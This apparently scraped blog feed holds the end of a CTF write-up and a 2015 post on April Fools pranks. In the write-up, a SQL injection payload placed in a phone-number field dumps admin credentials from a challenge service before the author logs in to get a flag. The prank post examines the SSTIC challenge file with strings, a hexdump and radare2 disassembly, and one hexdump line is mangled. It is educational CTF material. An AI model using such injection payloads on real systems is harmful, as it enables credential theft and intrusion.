<span class="c">Encrypting using 128x(ROT13) </span><span class="nt">......</span><span class="c">HAAAAAAAAX</span><span class="nt">......</span>
<span class="c">Password encryption done ! (Security First) !</span>
<span class="c">i ~ $ HISTORY</span>
<span class="c">RAPTOR CALL REPORTING</span>
<span class="nb">-</span><span class="c"> CLIENT INFO :</span>
<span class="nb">+-----------+---------------------------------------------------------------------------+</span>
<span class="c">| USERNAME | i |</span>
<span class="c">| RIGHTS | user |</span>
<span class="c">| DESKPHONE | 1 UNION SELECT login</span><span class="nt">,</span><span class="c">password</span><span class="nt">,</span><span class="c">rights</span><span class="nt">,</span><span class="c">null FROM users WHERE rights='admin' |</span>
<span class="nb">+-----------+---------------------------------------------------------------------------+</span>
<span class="c"> </span><span class="nb">-</span><span class="c"> CALL HISTORY</span>
<span class="nb">+-------------+------------+-------------+----------+</span>
<span class="c">| ID | DATE | DESTINATION | DURATION |</span>
<span class="nb">+-------------+------------+-------------+----------+</span>
<span class="c">| w</span><span class="nt">.</span><span class="c">eshmaggle | Hanlbatard | admin | None |</span>
<span class="nb">+-------------+------------+-------------+----------+</span>
</code></pre></div>
<p>We login as the admin user and user the <code>RSHELL</code> command:</p>
<div class="highlight"><pre><span></span><code>guest ~ $ AUTH w.eshmaggle Hanlbatard
Welcome w.eshmaggle !
w.eshmaggle ~ $ RSHELL
Ok, ok good job. You are admin... The flag is : 0eb80d9c2cdee95b461cf0b70d40791f
</code></pre></div>
<p><strong>Flag: 0eb80d9c2cdee95b461cf0b70d40791f</strong></p></span>First April SSTIC challenge2015-04-02T00:00:00+02:002015-04-02T00:00:00+02:00maggicktag:maggick.fr,2015-04-02:/2015/04/first-april-sstic-challenge.html<p><img alt="pixel view, resolution 750" class="align-left" src="/media/2015.04/sstic_res_750.PNG" width="172"/></p>
<p>The first of April is always the occasion for some great pranks.
2015 was a great year, as the CERN confirmed the existence of the Force, Google
published a mirroring website and gentoo an old fashion one.
In France we got a security event call <a href="https://www.sstic.org">SSTIC</a> for which
the tickets are very rare therefore the SSTIC challenge allows the ones with the
flag to reserve a ticket. An April prank challenge was post yesterday.</p>
<p><img alt="pixel view, resolution 750" class="align-left" src="/media/2015.04/sstic_res_750.PNG" width="172"/></p>
<p>The first of April is always the occasion for some great pranks.
2015 was a great year, as the CERN confirmed the existence of the Force, Google
published a mirroring website and gentoo an old fashion one.
In France we got a security event call <a href="https://www.sstic.org">SSTIC</a> for which
the tickets are very rare therefore the SSTIC challenge allows the ones with the
flag to reserve a ticket. An April prank challenge was post yesterday.</p>
<p><br/><br/><br/></p>
<h1>April Pranks</h1>
<p>The first of April is always the occasion for some great pranks:</p>
<ul>
<li><a href="https://twitter.com/CERN/status/583147747710263296">CERN confirm the existence of the Force</a>:</li>
</ul>
<p><img alt="CERN tweet about the Force" class="image-process-article-image" src="/media/2015.04/derivatives/article-image/twitter.com_CERN_status_583147747710263296.PNG"/></p>
<ul>
<li>Google do some mirroring trick(deadlink):</li>
</ul>
<p><img alt="com.google mirrored" class="image-process-article-image" src="/media/2015.04/derivatives/article-image/com.google.PNG"/></p>
<ul>
<li><a href="https://www.gentoo.org">gentoo.org adopted a beautiful design</a>:</li>
</ul>
<p><img alt="gentoo.org old school" class="image-process-article-image" src="/media/2015.04/derivatives/article-image/gentoo.org.PNG"/></p>
<h1>SSTIC Challenge</h1>
<p>But one of them was released by the <a href="https://www.sstic.org">SSTIC</a> an French
security event which give every year a difficult challenge that grant
automatically a place to the event (tickets are sold out in approximately one
minute) for the winners.</p>
<p>We download the challenge <a href="/media/2015.04/chlg-2015">here</a>.</p>
<h2>Strings</h2>
<p>Let's try something like <code>strings</code> to see what appends:</p>
<div class="highlight"><pre><span></span><code><span class="n">maggick</span><span class="p">@</span><span class="n">debian</span><span class="p">:</span><span class="o">~/</span><span class="n">work</span><span class="o">/</span><span class="n">sstic</span>$<span class="w"> </span><span class="nb">strings</span><span class="w"> </span><span class="n">chlg</span><span class="o">-</span><span class="mi">2015</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">wc</span><span class="w"> </span><span class="o">-</span><span class="n">l</span>
<span class="n">10797</span>
<span class="s">maggick@debian:~/work/sstic$</span><span class="w"> </span><span class="s">strings</span><span class="w"> </span><span class="s">chlg-2015</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="nb">head</span>
<span class="n">Salted__D</span>
<span class="s">8</span><span class="o">'<</span><span class="n">K</span>
<span class="n">vKRbn</span>
<span class="s">vKRbn</span>
<span class="n">vKRbn</span>
<span class="s">vKRbn</span>
<span class="n">K5G</span><span class="o">--</span>9<span class="n">S</span>
<span class="c">%Pz$</span>
<span class="n">vKRbn</span>
<span class="s">vKRb</span>
</code></pre></div>
<p>No chance coming from here.</p>
<h2>Hexview</h2>
<p>We use radare2 to see the hexcode:</p>
<div class="highlight"><pre><span></span><code>[0x00000000 0% 1008 chlg-2015]> x
<span class="k">-</span> offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x00000000 5361 6c74 6564 5f5f 4419 80b6 425f d4ff Salted__D...B_..
0x00000010 1e5c 83a1 c4d7 24f5 4697 9aac 2571 5f8e .\....$.F...%q_.
0x00000020 64e2 52ad 8947 119e c4ad 929b 6505 4de2 d.R..G......e.M.
0x00000030 ff44 0add d438 273c 4b8d 760d 416d c883 .D...8'<k.v.am.. )...............="" .....b...1....c.="" ...vkrbn...f...k="" .s(..c......|.sq="" 01a1="" 0ecc="" 0ee0="" 0x00000040="" 0x00000050="" 0x00000060="" 0x00000070="" 0x00000080="" 0x00000090="" 0x000000a0="" 0x000000b0="" 0x000000c0="" 0x000000d0="" 0x000000e0="" 0x000000f0="" 0x00000100="" 0x00000110="" 0x00000120="" 0x00000130="" 0x00000140="" 0x00000150="" 153c="" 1ce7="" 28d9="" 290e="" 4390="" 4915="" 4b52="" 5210="" 5351="" 626e="" 7cff="" 8014="" 88a2="" 8a95="" 8cc7="" 98bd="" <="" abe7="" ad07="" ad31="" b1c8="" b6c7="" b6ef="" c24b="" c462="" c68f="" c882="" c966="" cb76="" cd00="" cd03="" code="" d38a="" d8e9="" dffe="" e40c="" ef43="" f153="" f198="" i....<r.........=""></k.v.am..></code></pre></div>
<p>Yeah that a message encrypt with open ssl and salt. But we do not have any idea
about the key nor the salt. Shall we take a look at the code itself:</p>
<div class="highlight"><pre><span></span><code><span class="o">[</span><span class="n">0x00000000 0% 315 chlg-2015</span><span class="o">]></span><span class="w"> </span><span class="n">pd</span><span class="w"> </span><span class="err">$</span><span class="n">r</span>
<span class="w"> </span><span class="mh">0x00000000</span><span class="w"> </span><span class="mi">53</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="n">ebx</span>
<span class="w"> </span><span class="mh">0x00000001</span><span class="w"> </span><span class="mi">61</span><span class="w"> </span><span class="n">popal</span>
<span class="w"> </span><span class="mh">0x00000002</span><span class="w"> </span><span class="mi">6</span><span class="n">c</span><span class="w"> </span><span class="n">insb</span><span class="w"> </span><span class="n">byte</span><span class="w"> </span><span class="nl">es</span><span class="p">:</span><span class="o">[</span><span class="n">edi</span><span class="o">]</span><span class="p">,</span><span class="w"> </span><span class="n">dx</span>
<span class="w"> </span><span class="p">,</span><span class="o">=<</span><span class="w"> </span><span class="mh">0x00000003</span><span class="w"> </span><span class="mi">7465</span><span class="w"> </span><span class="n">je</span><span class="w"> </span><span class="mh">0x6a</span><span class="w"> </span><span class="p">;</span><span class="o">[</span><span class="n">1</span><span class="o">]</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x00000005</span><span class="w"> </span><span class="mi">645</span><span class="n">f</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">edi</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x00000007</span><span class="w"> </span><span class="mi">5</span><span class="n">f</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">edi</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x00000008</span><span class="w"> </span><span class="mi">44</span><span class="w"> </span><span class="n">inc</span><span class="w"> </span><span class="n">esp</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x00000009</span><span class="w"> </span><span class="mi">1980</span><span class="n">b6425fd4</span><span class="w"> </span><span class="n">sbb</span><span class="w"> </span><span class="n">dword</span><span class="w"> </span><span class="o">[</span><span class="n">eax - 0x2ba0bd4a</span><span class="o">]</span><span class="p">,</span><span class="w"> </span><span class="n">eax</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x0000000f</span><span class="w"> </span><span class="n">ff1e</span><span class="w"> </span><span class="n">lcall</span><span class="w"> </span><span class="o">[</span><span class="n">esi</span><span class="o">]</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">unk</span><span class="p">()</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x00000011</span><span class="w"> </span><span class="mi">5</span><span class="n">c</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">esp</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x00000012</span><span class="w"> </span><span class="mi">83</span><span class="n">a1c4d724f</span><span class="p">.</span><span class="w"> </span><span class="ow">and</span><span class="w"> </span><span class="n">dword</span><span class="w"> </span><span class="o">[</span><span class="n">ecx - 0xadb283c</span><span class="o">]</span><span class="p">,</span><span class="w"> </span><span class="mh">0x46</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x00000019</span><span class="w"> </span><span class="mi">97</span><span class="w"> </span><span class="n">xchg</span><span class="w"> </span><span class="n">eax</span><span class="p">,</span><span class="w"> </span><span class="n">edi</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x0000001a</span><span class="w"> </span><span class="mi">9</span><span class="n">aac25715f8</span><span class="p">.</span><span class="w"> </span><span class="n">lcall</span><span class="w"> </span><span class="mh">0x648e</span><span class="err">:</span><span class="mh">0x5f7125ac</span><span class="w"> </span><span class="p">;</span><span class="o">[</span><span class="n">2</span><span class="o">]</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x0000648e</span><span class="p">()</span>
<span class="w"> </span><span class="p">,</span><span class="o">==<</span><span class="w"> </span><span class="mh">0x00000021</span><span class="w"> </span><span class="n">e252</span><span class="w"> </span><span class="n">loop</span><span class="w"> </span><span class="mh">0x75</span><span class="w"> </span><span class="p">;</span><span class="o">[</span><span class="n">3</span><span class="o">]</span>
<span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="mh">0x00000023</span><span class="w"> </span><span class="n">ad</span><span class="w"> </span><span class="n">lodsd</span><span class="w"> </span><span class="n">eax</span><span class="p">,</span><span class="w"> </span><span class="n">dword</span><span class="w"> </span><span class="o">[</span><span class="n">esi</span><span class="o">]</span>
<span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="mh">0x00000024</span><span class="w"> </span><span class="mi">894711</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">dword</span><span class="w"> </span><span class="o">[</span><span class="n">edi + 0x11</span><span class="o">]</span><span class="p">,</span><span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="o">[</span><span class="n">0x11:4</span><span class="o">]=</span><span class="mh">0xc4a1835c</span>
<span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="mh">0x00000027</span><span class="w"> </span><span class="mi">9</span><span class="n">e</span><span class="w"> </span><span class="n">sahf</span>
<span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="mh">0x00000028</span><span class="w"> </span><span class="n">c4ad929b6505</span><span class="w"> </span><span class="n">les</span><span class="w"> </span><span class="n">ebp</span><span class="p">,</span><span class="w"> </span><span class="o">[</span><span class="n">ebp + 0x5659b92</span><span class="o">]</span>
<span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="mh">0x0000002e</span><span class="w"> </span><span class="mi">4</span><span class="n">d</span><span class="w"> </span><span class="k">dec</span><span class="w"> </span><span class="n">ebp</span>
<span class="w"> </span><span class="p">,</span><span class="o">===<</span><span class="w"> </span><span class="mh">0x0000002f</span><span class="w"> </span><span class="n">e2ff</span><span class="w"> </span><span class="n">loop</span><span class="w"> </span><span class="mh">0x30</span><span class="w"> </span><span class="p">;</span><span class="o">[</span><span class="n">4</span><span class="o">]</span>
<span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="mh">0x00000031</span><span class="w"> </span><span class="mi">44</span><span class="w"> </span><span class="n">inc</span><span class="w"> </span><span class="n">esp</span>
<span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="mh">0x00000032</span><span class="w"> </span><span class="mi">0</span><span class="k">add</span><span class="w"> </span><span class="ow">or</span><span class="w"> </span><span class="n">bl</span><span class="p">,</span><span class="w"> </span><span class="n">ch</span>
<span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="mh">0x00000034</span><span class="w"> </span><span class="n">d438</span><span class="w"> </span><span class="n">aam</span><span class="w"> </span><span class="mh">0x38</span>
<span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="mh">0x00000036</span><span class="w"> </span><span class="mi">27</span><span class="w"> </span><span class="n">daa</span>
<span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="mh">0x00000037</span><span class="w"> </span><span class="mi">3</span><span class="n">c4b</span><span class="w"> </span><span class="n">cmp</span><span class="w"> </span><span class="n">al</span><span class="p">,</span><span class="w"> </span><span class="mh">0x4b</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="s1">'K'</span>
<span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="mh">0x00000039</span><span class="w"> </span><span class="mi">8</span><span class="n">d760d</span><span class="w"> </span><span class="n">lea</span><span class="w"> </span><span class="n">esi</span><span class="p">,</span><span class="w"> </span><span class="o">[</span><span class="n">esi + 0xd</span><span class="o">]</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="o">[</span><span class="n">0xd:4</span><span class="o">]=</span><span class="mh">0x1effd45f</span>
<span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="mh">0x0000003c</span><span class="w"> </span><span class="mi">41</span><span class="w"> </span><span class="n">inc</span><span class="w"> </span><span class="n">ecx</span>
<span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="mh">0x0000003d</span><span class="w"> </span><span class="mi">6</span><span class="n">d</span><span class="w"> </span><span class="n">insd</span><span class="w"> </span><span class="n">dword</span><span class="w"> </span><span class="nl">es</span><span class="p">:</span><span class="o">[</span><span class="n">edi</span><span class="o">]</span><span class="p">,</span><span class="w"> </span><span class="n">dx</span>
<span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="mh">0x0000003e</span><span class="w"> </span><span class="n">c883290e</span><span class="w"> </span><span class="n">enter</span><span class="w"> </span><span class="mh">0x2983</span><span class="p">,</span><span class="w"> </span><span class="mh">0xe</span>
<span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="mh">0x00000042</span><span class="w"> </span><span class="mi">80141</span><span class="n">ce7</span><span class="w"> </span><span class="n">adc</span><span class="w"> </span><span class="n">byte</span><span class="w"> </span><span class="o">[</span><span class="n">esp + ebx</span><span class="o">]</span><span class="p">,</span><span class="w"> </span><span class="o">-</span><span class="mh">0x19</span>
<span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="mh">0x00000046</span><span class="w"> </span><span class="mi">88</span><span class="n">a2b6c7cd00</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">byte</span><span class="w"> </span><span class="o">[</span><span class="n">edx + 0xcdc7b6</span><span class="o">]</span><span class="p">,</span><span class="w"> </span><span class="n">ah</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="o">[</span><span class="n">0xcdc7b6:1</span><span class="o">]=</span><span class="mi">255</span>
<span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="mh">0x0000004c</span><span class="w"> </span><span class="n">d8e9</span><span class="w"> </span><span class="n">fsubr</span><span class="w"> </span><span class="n">st</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="mh">0x0000004e</span><span class="w"> </span><span class="mi">98</span><span class="w"> </span><span class="n">cwde</span>
<span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="mh">0x0000004f</span><span class="w"> </span><span class="n">bde40ccb76</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">ebp</span><span class="p">,</span><span class="w"> </span><span class="mh">0x76cb0ce4</span>
<span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="mh">0x00000054</span><span class="w"> </span><span class="mi">4</span><span class="n">b</span><span class="w"> </span><span class="k">dec</span><span class="w"> </span><span class="n">ebx</span>
<span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="mh">0x00000055</span><span class="w"> </span><span class="mi">52</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="n">edx</span>
<span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="mh">0x00000056</span><span class="w"> </span><span class="mf">626e0</span><span class="n">e</span><span class="w"> </span><span class="n">bound</span><span class="w"> </span><span class="n">ebp</span><span class="p">,</span><span class="w"> </span><span class="n">qword</span><span class="w"> </span><span class="o">[</span><span class="n">esi + 0xe</span><span class="o">]</span>
<span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="mh">0x00000059</span><span class="w"> </span><span class="n">e0c9</span><span class="w"> </span><span class="n">loopne</span><span class="w"> </span><span class="mh">0x24</span>
<span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="mh">0x0000005b</span><span class="w"> </span><span class="mi">66</span><span class="n">b1c8</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">cl</span><span class="p">,</span><span class="w"> </span><span class="o">-</span><span class="mh">0x38</span>
<span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="mh">0x0000005e</span><span class="w"> </span><span class="n">c24be4</span><span class="w"> </span><span class="n">ret</span><span class="w"> </span><span class="mh">0xe44b</span>
<span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="mh">0x00000061</span><span class="w"> </span><span class="mi">0</span><span class="n">ccb</span><span class="w"> </span><span class="ow">or</span><span class="w"> </span><span class="n">al</span><span class="p">,</span><span class="w"> </span><span class="mh">0xffffffcb</span>
<span class="w"> </span><span class="p">,</span><span class="o">====<</span><span class="w"> </span><span class="mh">0x00000063</span><span class="w"> </span><span class="mi">764</span><span class="n">b</span><span class="w"> </span><span class="n">jbe</span><span class="w"> </span><span class="mh">0xb0</span><span class="w"> </span><span class="p">;</span><span class="o">[</span><span class="n">5</span><span class="o">]</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="mh">0x00000065</span><span class="w"> </span><span class="mi">52</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="n">edx</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="mh">0x00000066</span><span class="w"> </span><span class="mf">626e0</span><span class="n">e</span><span class="w"> </span><span class="n">bound</span><span class="w"> </span><span class="n">ebp</span><span class="p">,</span><span class="w"> </span><span class="n">qword</span><span class="w"> </span><span class="o">[</span><span class="n">esi + 0xe</span><span class="o">]</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="mh">0x00000069</span><span class="w"> </span><span class="n">e0c9</span><span class="w"> </span><span class="n">loopne</span><span class="w"> </span><span class="mh">0x34</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x0000006b</span><span class="w"> </span><span class="mi">66</span><span class="n">b1c8</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">cl</span><span class="p">,</span><span class="w"> </span><span class="o">-</span><span class="mh">0x38</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x0000006e</span><span class="w"> </span><span class="n">c24b49</span><span class="w"> </span><span class="n">ret</span><span class="w"> </span><span class="mh">0x494b</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x00000071</span><span class="w"> </span><span class="mi">15</span><span class="n">cd03153c</span><span class="w"> </span><span class="n">adc</span><span class="w"> </span><span class="n">eax</span><span class="p">,</span><span class="w"> </span><span class="mh">0x3c1503cd</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x00000076</span><span class="w"> </span><span class="mi">52</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="n">edx</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x00000077</span><span class="w"> </span><span class="mi">10</span><span class="n">abe7c68fc8</span><span class="w"> </span><span class="n">adc</span><span class="w"> </span><span class="n">byte</span><span class="w"> </span><span class="o">[</span><span class="n">ebx - 0x37703919</span><span class="o">]</span><span class="p">,</span><span class="w"> </span><span class="n">ch</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x0000007d</span><span class="w"> </span><span class="mi">82</span><span class="n">f198</span><span class="w"> </span><span class="n">xor</span><span class="w"> </span><span class="n">cl</span><span class="p">,</span><span class="w"> </span><span class="mh">0x98</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x00000080</span><span class="w"> </span><span class="n">f1</span><span class="w"> </span><span class="n">int1</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x00000081</span><span class="w"> </span><span class="mi">53</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="n">ebx</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x00000082</span><span class="w"> </span><span class="mi">28</span><span class="n">d9</span><span class="w"> </span><span class="n">sub</span><span class="w"> </span><span class="n">cl</span><span class="p">,</span><span class="w"> </span><span class="n">bl</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x00000084</span><span class="w"> </span><span class="n">ef</span><span class="w"> </span><span class="k">out</span><span class="w"> </span><span class="n">dx</span><span class="p">,</span><span class="w"> </span><span class="n">eax</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x00000085</span><span class="w"> </span><span class="mi">43</span><span class="w"> </span><span class="n">inc</span><span class="w"> </span><span class="n">ebx</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x00000086</span><span class="w"> </span><span class="mi">0</span><span class="n">e</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="n">cs</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x00000087</span><span class="w"> </span><span class="n">cc</span><span class="w"> </span><span class="n">int3</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x00000088</span><span class="w"> </span><span class="n">d38a8cc77cff</span><span class="w"> </span><span class="n">ror</span><span class="w"> </span><span class="n">dword</span><span class="w"> </span><span class="o">[</span><span class="n">edx - 0x833874</span><span class="o">]</span><span class="p">,</span><span class="w"> </span><span class="n">cl</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x0000008e</span><span class="w"> </span><span class="mi">53</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="n">ebx</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x0000008f</span><span class="w"> </span><span class="mi">51</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="n">ecx</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x00000090</span><span class="w"> </span><span class="n">ad</span><span class="w"> </span><span class="n">lodsd</span><span class="w"> </span><span class="n">eax</span><span class="p">,</span><span class="w"> </span><span class="n">dword</span><span class="w"> </span><span class="o">[</span><span class="n">esi</span><span class="o">]</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x00000091</span><span class="w"> </span><span class="mi">07</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">es</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x00000092</span><span class="w"> </span><span class="n">b6ef</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">dh</span><span class="p">,</span><span class="w"> </span><span class="o">-</span><span class="mh">0x11</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x00000094</span><span class="w"> </span><span class="n">c462df</span><span class="w"> </span><span class="n">les</span><span class="w"> </span><span class="n">esp</span><span class="p">,</span><span class="w"> </span><span class="o">[</span><span class="n">edx - 0x21</span><span class="o">]</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x00000097</span><span class="w"> </span><span class="n">fe</span><span class="w"> </span><span class="n">invalid</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x00000098</span><span class="w"> </span><span class="n">ad</span><span class="w"> </span><span class="n">lodsd</span><span class="w"> </span><span class="n">eax</span><span class="p">,</span><span class="w"> </span><span class="n">dword</span><span class="w"> </span><span class="o">[</span><span class="n">esi</span><span class="o">]</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x00000099</span><span class="w"> </span><span class="mi">318</span><span class="n">a9501a143</span><span class="w"> </span><span class="n">xor</span><span class="w"> </span><span class="n">dword</span><span class="w"> </span><span class="o">[</span><span class="n">edx + 0x43a10195</span><span class="o">]</span><span class="p">,</span><span class="w"> </span><span class="n">ecx</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x0000009f</span><span class="w"> </span><span class="mi">90</span><span class="w"> </span><span class="n">nop</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x000000a0</span><span class="w"> </span><span class="n">ad</span><span class="w"> </span><span class="n">lodsd</span><span class="w"> </span><span class="n">eax</span><span class="p">,</span><span class="w"> </span><span class="n">dword</span><span class="w"> </span><span class="o">[</span><span class="n">esi</span><span class="o">]</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x000000a1</span><span class="w"> </span><span class="mi">07</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">es</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x000000a2</span><span class="w"> </span><span class="n">b6ef</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">dh</span><span class="p">,</span><span class="w"> </span><span class="o">-</span><span class="mh">0x11</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x000000a4</span><span class="w"> </span><span class="n">c462df</span><span class="w"> </span><span class="n">les</span><span class="w"> </span><span class="n">esp</span><span class="p">,</span><span class="w"> </span><span class="o">[</span><span class="n">edx - 0x21</span><span class="o">]</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x000000a7</span><span class="w"> </span><span class="n">fe</span><span class="w"> </span><span class="n">invalid</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x000000a8</span><span class="w"> </span><span class="n">ad</span><span class="w"> </span><span class="n">lodsd</span><span class="w"> </span><span class="n">eax</span><span class="p">,</span><span class="w"> </span><span class="n">dword</span><span class="w"> </span><span class="o">[</span><span class="n">esi</span><span class="o">]</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x000000a9</span><span class="w"> </span><span class="mi">318</span><span class="n">a9501a143</span><span class="w"> </span><span class="n">xor</span><span class="w"> </span><span class="n">dword</span><span class="w"> </span><span class="o">[</span><span class="n">edx + 0x43a10195</span><span class="o">]</span><span class="p">,</span><span class="w"> </span><span class="n">ecx</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x000000af</span><span class="w"> </span><span class="mi">90</span><span class="w"> </span><span class="n">nop</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x000000b0</span><span class="w"> </span><span class="n">ad</span><span class="w"> </span><span class="n">lodsd</span><span class="w"> </span><span class="n">eax</span><span class="p">,</span><span class="w"> </span><span class="n">dword</span><span class="w"> </span><span class="o">[</span><span class="n">esi</span><span class="o">]</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x000000b1</span><span class="w"> </span><span class="mi">07</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">es</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x000000b2</span><span class="w"> </span><span class="n">b6ef</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">dh</span><span class="p">,</span><span class="w"> </span><span class="o">-</span><span class="mh">0x11</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x000000b4</span><span class="w"> </span><span class="n">c462df</span><span class="w"> </span><span class="n">les</span><span class="w"> </span><span class="n">esp</span><span class="p">,</span><span class="w"> </span><span class="o">[</span><span class="n">edx - 0x21</span><span class="o">]</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x000000b7</span><span class="w"> </span><span class="n">fe</span><span class="w"> </span><span class="n">invalid</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x000000b8</span><span class="w"> </span><span class="n">ad</span><span class="w"> </span><span class="n">lodsd</span><span class="w"> </span><span class="n">eax</span><span class="p">,</span><span class="w"> </span><span class="n">dword</span><span class="w"> </span><span class="o">[</span><span class="n">esi</span><span class="o">]</span>
